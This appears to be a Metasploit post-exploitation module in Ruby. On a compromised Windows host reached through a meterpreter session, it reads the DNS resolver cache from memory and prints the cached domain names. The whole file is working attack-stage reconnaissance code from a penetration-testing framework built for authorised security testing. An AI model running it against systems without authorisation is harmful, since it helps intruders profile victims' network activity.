52 lines
1.8 KiB
Ruby
52 lines
1.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class Metasploit3 < Msf::Post
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Gather DNS Cache',
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'Description' => %q{ This module displays the records stored in the DNS cache.},
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'License' => MSF_LICENSE,
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'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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end
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def run
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rtable = Rex::Ui::Text::Table.new(
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'Header' => 'DNS Cached Entries',
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'Indent' => 3,
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'Columns' => ['TYPE', 'DOMAIN']
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)
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client.railgun.add_dll('dnsapi') if not client.railgun.get_dll('dnsapi')
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client.railgun.add_function("dnsapi", "DnsGetCacheDataTable", "DWORD", [["PBLOB","cacheEntries","inout"]])
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result = client.railgun.dnsapi.DnsGetCacheDataTable("aaaa")
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address = result['cacheEntries'].unpack('V').first
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# typedef struct _DNS_CACHE_ENTRY
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# struct _DNS_CACHE_ENTRY* pNext;
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# PWSTR pszName;
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# unsigned short wType;
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# unsigned short wDataLength;
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# unsigned long dwFlags;
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while (address != 0 ) do
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struct_pointer = client.railgun.memread(address,10)
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# Get the pointer to the DNS record name
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domain_pointer = struct_pointer[4,4].unpack('V').first
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dns_type = struct_pointer[8,2].unpack('h*')[0].reverse
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# According to the restrictions on valid host names, we read a maximum of 255 characters for each entry
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domain_name = client.railgun.memread(domain_pointer,255).split("\x00\x00").first
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rtable << [dns_type, domain_name]
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# Get the next _DNS_CACHE_ENTRY struct pointer
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address = struct_pointer[0,4].unpack('V').first
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end
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print_status(rtable.to_s)
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end
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end
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